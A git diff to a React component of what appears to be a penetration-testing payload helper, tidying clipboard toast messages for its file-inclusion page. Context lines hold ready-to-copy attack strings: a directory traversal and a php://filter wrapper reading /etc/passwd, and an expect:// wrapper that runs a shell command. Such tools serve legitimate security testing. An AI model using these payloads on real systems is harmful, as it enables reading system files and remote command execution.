diff --git a/src/components/web/LFI.js b/src/components/web/LFI.js index 03d6b42..f59a9cb 100644 --- a/src/components/web/LFI.js +++ b/src/components/web/LFI.js @@ -8,11 +8,13 @@ const { Title, Paragraph } = Typography; export default (props) => { const successInfoReverseShell = () => { - message.success('Your LFI payload has been copied'); + message.success('Your payload has been copied'); }; + const successInfoEncodeURL = () => { - message.success('Your LFI payload URL encoded has been copied'); + message.success('Your payload URL encoded has been copied'); }; + const directoryTraversal = `foo.php?file=../../../../../../../etc/passwd`; const phpWrapperLfi = `/example1.php?page=expect://ls`; const phpWrapperFilter = `/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd`; @@ -64,6 +66,7 @@ export default (props) => { { title: '/windows/system32/license.rtf' }, { title: '/windows/system32/eula.txt' } ]; + return ( @@ -180,7 +183,7 @@ export default (props) => { <Clipboard component='a' data-clipboard-text={phpRfi}> <Button type='primary' - onClick={message.success('Your RFI payload has been copied')} + onClick={successInfoReverseShell} style={{ marginBottom: 10, marginTop: 15 }} > <CopyOutlined /> @@ -190,7 +193,7 @@ export default (props) => { <Clipboard component='a' data-clipboard-text={encodeURI(phpRfi)}> <Button type='dashed' - onClick={message.success('Your RFI payload URL encoded has been copied')} + onClick={successInfoEncodeURL} style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }} > <LinkOutlined /> URL encoded